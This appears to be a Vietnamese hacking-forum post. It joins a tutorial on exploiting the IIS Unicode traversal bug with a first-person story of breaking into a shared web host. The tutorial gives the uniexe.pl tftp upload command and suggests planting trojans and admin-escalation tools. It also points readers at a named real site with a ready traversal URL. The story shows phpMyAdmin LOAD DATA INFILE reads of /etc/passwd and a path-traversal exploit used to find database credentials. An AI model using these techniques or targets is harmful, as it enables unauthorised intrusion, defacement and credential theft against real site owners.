Anh em dung len qua lam dung cung nhu tan pha qua dang cac site.

P/S: Hack IIS thi duoc roi, nhung di dao tren Iiternet em thay da so cac site thuong dung Apache Server. Em dang tap Hack Apache Server. Em hien dang co mot tai lieu day hack Apache Server, em doc thay kha de hieu....Nhung khi thuc hanh thi mai khong duoc, khong biet la tai Server do Patch roi hay la tai em ngu. Anh nao biet cach hack Apache lam on huong dan anh em voi....Website cua bon FPT cung dung IIS, nhung rat tiec la no da Patch roi.

UP FILES TRONG IIS SERVER

Em se gioi thieu tiep voi anh em cach Up file len IIS da bi bug. Bai nay khong phai do em viet, em chi di hoc lom thoi, thay hay thi post cho anh em thoi a. Dau tien anh em can tai doan Code (lai ten la Unicode) tu dia chi: http://www.cners.com/tools/unicode.zip

Chay file tftpd32.exe (hoac tftpd.exe toi quen roi) truong hop ko ro rang anh em cu rename sao cho co du 2 file tftpd.exe va tftpd32.exe vay .

Chay file nay ,sau do xem so IP va ghi lai .

Dung notepad mo file uniexe.pl ra, sua cho xxx.xxx.xxx.xxx thanh so IP vua co tu tftpd .

Sua cac thong so tren cung hang voi cho xxx.xxx.xxx.xxx vua dien :
+thay "GET ncx99.exe" thanh "GET yyy.zzz" voi yyy.zzz la mot file nam tren o cung cua anh em
+thay phan C:\inetpub\scripts bang duong dan den thu muc anh em muon upload file xem

vd sau de ro hon :

#You need to change the xxx.xxx.xxx.xxx to your ip address. Duh!
$command="tftp -i 202.162.63.126 GET index.htm c:\\inetpub\\wwwroot\\index.htm";

---> trong VD tren toi da copy 1 file trong thu muc C:\ cua toi (co IP la 202.162.63.126) toi C:\inetpub\wwwroot\ cua may chu bi dinh unicode bug.

Sau do anh em ra ngoai DOS, go

Perl Ip cua may chu:port

VD: perl uniexe.pl 202.162.45.78:80

Neu khong co van de gi thi file do da duoc Up len server roi do.

Luu y: Ngoai up cac file *.html, anh em co the update cac trojan remote access hay la cac chuong trinh getadmin cho Winnt de doat quyen admin roi tung hoanh trong may chu nay.

De chay file tren Server, ra Dos go:

Perl uniexe.pl ip cua trang web:port ten file can run (co ca duong dan).

P/S: Khong phai bat cu may chu nao cung cho phep anh em tao, di chuyen, hay run tren no dau. Tuy thuoc vao Admin thoi. Mot so anh em co noi rang khi Scan khong thay phat hien Bug nao, chac la no Patch het tron roi. Anh em can phai di kiem Website khac thoi....Theo em biet thi cac Website cua Thailand hay xai IIS lam. Em dang thuc hanh len cung chang can nhieu Server lam, hien dang thuc hanh tren http://www.tnh.com.vn/

Anh em nao can thi co the dzo luon o cung cua no thuc hanh bang cach copy doan Code sau vao Add trong Browser cua anh em.

http://www.tnh.com.vn/_vti_bin/..%c0%af..%.../c+dir+c:\

Hay vao va tao mot thu muc HKC-LPTV. A quen, de an toan anh em len dung cac Proxy de truy zdo may nay.

Sao một thời gian bận rộn...đếm tiền và *chới dzới* (anyway, for those who really want to know what I have done in the last three months, pay a visit to http://www.phpmvc.net , a PHP port of Jakarta Struts), nay mrro mới rãnh rỗi được đôi chút, mà thật ra là do hôm nay ngồi lật lật lại mấy cái folder cũ ghi dấu *một thời tung hoành* hồi trước, bất chợt gặp lại một cái file cũng vui vui nên đem đây kể cho mọi người cùng nghe. Hihi vui là chính thôi nhen.

Một phút cho luật chơi: tất cả các thông tin về lỗi bảo mật trong bài viết này đều đã được thông báo cho những bên liên quan và đến thời điểm này thì những lổ hổng đó đã được sửa chữa. (trong bài viết này có một số đoạn hư cấu thêm).

Nào chúng ta cùng bắt đầu....

Hồi 1: Ba bốn tường lửa, chuyên nghiệp lắm, dân amatuer làm sao hack nổi!

Một ngày tối trời đầu tháng 8 năm ngoái, đang ngồi trong phòng làm việc ở tòa soạn Tuổi Trẻ, bất chợt có người bước vào, àh thì ra là sếp phó tổng biên tập, đi cùng với sếp còn có hai ba người khác nữa, nghe nói là đồng nghiệp bên báo Sài Gòn Giải Phóng sang chơi. "Nè giới thiệu với các anh, hacker của Tuổi Trẻ nè", vừa nói sếp vừa chỉ thằng vô mình. Trời ơi, ngại muốn chết! Từ trước tới giờ, thằng mrro sợ nhất 2 chuyện (1) ai đó hỏi "eh biết hack Yahoo! Mail hông?" (2) bị người ta kêu là hacker.

Thời buổi gì không biết, *hacker* còn quí hơn vàng , mới nghe nhắc tới chữ *hacker*, một ông bên SGGP đã nhảy vào bá vai, nhìn chằm chằm vào mặt thằng mrro (coi coi nó giống người không?!). "Chắc lại sắp kêu hack cái này cái nọ nữa rồi nè", thằng mrro thầm chửi rủa. Y như rằng:

- Hacker hả? Bữa nào thử hack cái www.sggp.org.vn xem, cứ hack thoải mái đi, phá cho hư cũng được, hihi, bên anh cũng đang muốn làm lại cái website đó. Ba nhà báo vừa nói vừa cười nham nhở.

-Trời ơi, đừng nghe sếp em nói, em có biết hack hiếc gì đâu. Thằng mrro ấp úng trả lời.

-Ừh nói chơi thôi, dân amatuer làm sao hack nổi, cái website của SGGP là do bên VDC làm đấy nhé, chuyên nghiệp cực kì, mấy chú bên đó xây 3-4 cái gì, cái gì, àh nhớ rồi bức tường lửa , bảo mật cực kì, từ trước giờ chưa bao giờ bị tấn công gì hết.

Ba nhà báo hí hửng khoe. Có cái gì đó ran rát nóng ở lỗ tai thằng mrro.

Vừa dắt xe vô nhà, khóa cửa lại, thằng mrro lập tức chạy lên mở máy tính liền, "mẹ kiếp, để coi ba cái bức tường lửa nó chắc cỡ nào", thằng mrro chửi rủa. "Tò te tò te", tiếng modem giữa đêm khuya nghe như tiếng đàn lục huyền cầm, nghe cũng vui tai ghê. "www.sggp.org.vn[enter]", trước tiên phải xem xem cái website nó ra sao đã. Òh một site tin tức như bao website khác, viết bằng PHP, hihi, tên scriptname cũng là tên tiếng Việt (doctintuc.php thay vì nên là readnews.php), trình bày đơn giản, không chuyên nghiệp lắm có lẽ do đã được làm từ lâu, theo như lời ông nhà báo nói. Hìhì, lại sắp có chuyện vui, một website bên ngoài lượm thượm kiểu này thì bên trong chắc cũng có cỡ vài ba cái fireware...giấy, thằng mrro cười.

Lên Netcraft xem thử cái server tí nào, "www.netcraft.com/whats". Òh một máy chủ chạy RedHat Linux 7.2 với Apache 1.3.23/mod_php4. Hihi, software cũng không được *up2date* cho lắm nhỉ, ừh cũng phải KISS (Keep It Simple, Stupid!), mấy lão admin thường tuân thủ theo cái rule này. Thôi kệ, để đó tính sau, dân *amatuer* như thằng mrro

không có thói quen hack bằng các lỗi software hệ thống, nó thích hack bằng lỗi của mấy thằng admin và programmer *chuyên nghiệp* hơn.

Thao tác vài ba cái URL, nó nhanh chóng nhận ra website này dùng Oracle làm backend database. PHP và Oracle, một sự kết hợp thú vị nhỉ. Chưa có nhiều kinh nghiệm hack các Oracle database server nhưng thằng mrro ghi vào file sggp.org.vn.txt thông tin này để khi cần thiết thì dùng đến(hihi, mỗi một lần làm chuyện gì thằng mrro điều ghi lại vào một file, và cái file mà nó gặp lại hôm nay chính là file sggp.org.vn.txt này).

nmap chứ? Khoan vội đã. Ghé thăm bạn Google tí đã. Thằng mrro gõ vào keyword "VDC Hosting", website này thuê host ở VDC mà, thử vận may xem. Òh, hiện ra ngay vị trí thứ nhất: TeleHosting <http://hosting.vnn.vn>. Thử ghé vô chơi xem có gì thú vị không.

Òh, một website trông cũng được, trình bày gọn gàng. Làm một số thao tác, thằng mrro đổi tên file sggp.org.vn.txt lại thành hosting.vnn.vn.txt và ghi thêm vào một số thông tin(tất cả thông tin này điều có thể được tìm thấy ngay Index và trên Netcraft):

-Telehosting: <http://hosting.vnn.vn>
- IP address: 203.162.96.70 (cùng IP với sggp.org.vn => shared hosting)
-Apache/2.0.47 (Unix) PHP/4.3.0 JRun/4.0 mod_jk/1.2.3-dev on Linux
-Control Panel: <http://hosting.vnn.vn/customers/>
-Demo account: cpvdc2/demo
Hihi, chuyên nghiệp nhỉ, cho cả demo account để thử àh. Thằng mrro thử truy cập vào Control Panel bằng cái account đó. Thằng Control Panel cung cấp một số công cụ quản lí như Cập nhật thông tin, Gửi thư yêu cầu, FTP, FileManager, MySQL,Webmail…Hơi bị nhiều nhỉ. Hìhì, coi bộ ngon ăn àh. Thằng mrro hí hửng nhảy vào thử cái FTP, *Permission denied*. Tới lượt thằng FileManager cũng vậy. Nhưng rồi vị cứu tinh cũng đến, thằng MySQL cho phép truy cập, hihi, nó dẫn thằng mrro đến phpMyAdmin bộ công cụ quản lí MySQL. Coi như xong nửa chặng đường rồi, thằng mrro cười ha hả .

Thằng mrro tự tin như vậy là cũng có lý do, với MySQL và phpMyAdmin, nó có thể làm được khối chuyện với cái server này. Bởi đơn giản nó đã có thể chạy được các câu lệnh query trên máy chủ này rồi. Vả lại, phpMyAdmin version cũ như thế này (2.3.2) thì chắc chắn sẽ có lỗi, ai biết được nhiều khi may mắn sẽ có cả lỗi cho phép nó chạy lệnh trên server này. Giờ search lỗi phpMyAdmin trước hay hack thằng MySQL trước đây? Sao không làm song song nhỉ, hihi, chắc sẽ có lợi hơn. Nghĩ là làm, thằng mrro mở hai cửa sổ browser lên (FYI, it's Firefox), một cái nó nhảy vào Bugtraq search với từ khóa phpMyAdmin, một cái nó login vào phpMyAdmin với account demo.

Vào trong phpMyAdmin rồi, nhanh như đã được lập trình sẵn, thằng mrro gõ câu lệnh query:
CREATE TABLE test(id INT,text LONGTEXT);
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE test FIELDS ESCAPE BY '' ;
SELECT * FROM test;

và enter, một màn hình hiện đầy đủ các username có trong hệ thống hiện ra ngay trước mặt nó, yahoo! Hihi, với phpMyAdmin này thì thằng mrro sẽ có thể đọc được nhiều file trong hệ thống lắm àh.

Cẩn thận lưu lại các thông tin này, "giờ mục tiêu là gì?", thằng mrro tự hỏi. Phải upload được file lên hoặc phải lấy được username và passwd của một user trong hệ thống. Nó bắt đầu phân tích.

Với một cái máy chủ shared hosting như thế này, chắc chắn sẽ có trường hợp username và passwd trùng nhau. Đó là một hướng.

Hướng thứ hai là truy cập vào database chứa dữ liệu về khách hàng. Khi đã truy cập vào database này được rồi thì mọi chuyện sẽ trở nên rất dễ dàng, chắc chắn trong đó sẽ có đầy đủ username và passwd mà thằng mrro cần tìm. Các tay admin *chuyên nghiệp* này thế nào cũng sẽ viết một công cụ quản lí khách hàng cho riêng mình, giờ chỉ cần biết được MySQL username và passwd để truy cập vào database đó là xong. Mà thường thì username và passwd này sẽ được lưu trong một file config.php nào đó, các tay viết PHP vẫn thường làm vậy. Hihi, vấn đề duy nhất còn lại là làm sao biết đường dẫn của file đó.

Thằng mrro quyết định đi theo hướng thứ hai trước đơn giản vì hướng đi này coi bộ hấp dẫn hơn, mặc dù đi theo hướng thứ nhất thì có vẻ sẽ dễ dàng hơn. Giờ làm gì tiếp theo? Àh khoan, phải xem xem có tìm được gì bên Bugtraq hông đã. Àh cũng có một vài lỗi, coi bộ không nặng lắm, hình như toàn XSS không. Vừa định tắt cửa sổ Bugtraq đi (gì chứ thằng mrro cũng không thích ba cái vụ này lắm) thì một cái lỗi đập vào mắt thằng mrro. phpMyAdmin XSS Vulnerabilities, Transversal Directory Attack , Information Encoding Weakness and Path Disclosures (http://www.securityfocus.com/archive/1/325641).

Path Disclosures và Transversal Directory Attack, hehe, vụ này hay àh. Lưu lại đường link xong, thằng mrro click vào để xem chi tiết cái lỗi. Rồi xong, hết phim! Cái lỗi Transversal Directory attack cho phép đọc nội dung (bao gồm file và subfolder) của một folder bất kì trong hệ thống (chính xác là folder nào cho phép user apache đọc). Nhanh chóng lợi dụng lỗi này, cùng với cái Path Disclosures, thằng mrro gõ http://hosting.vnn.vn/Admin/db_details_imp...ath=/opt/daiweb <http://hosting.vnn.vn/Admin/db_details_importdocsql.php?submit_show=true&do=import&docpath=/opt/daiweb>

Hehe chình ình một đống trước mặt một cái file mang tên connect.php đúng như thằng mrro dự đoán. Lại dùng chiêu LOAD DATA INFILE, và hết!

--mrro.

Đọc xong bài viết này bạn có cảm giác gì ?? Vui không ? Tôi thấy rất vui, nó làm cho tôi vốn đã thấy hacking rất vui nay lại càng vui hơn. Hacker (hay những người biết hack) thật sự ở VN không mấy ai khi hack xong mà viết tut lại vui vẻ thế này đâu. Trước đây

Huyremy có lần viết lại quá trình hack HVA nhưng không vui cho lắm, vả lại Huy cũng viết có mỗi 1 cái đó thôi ....Khi nào tìm được bài viết nào vui thế này tôi sẽ lại giới thiệu với các bạn ! Chúc vui vẻ !

The End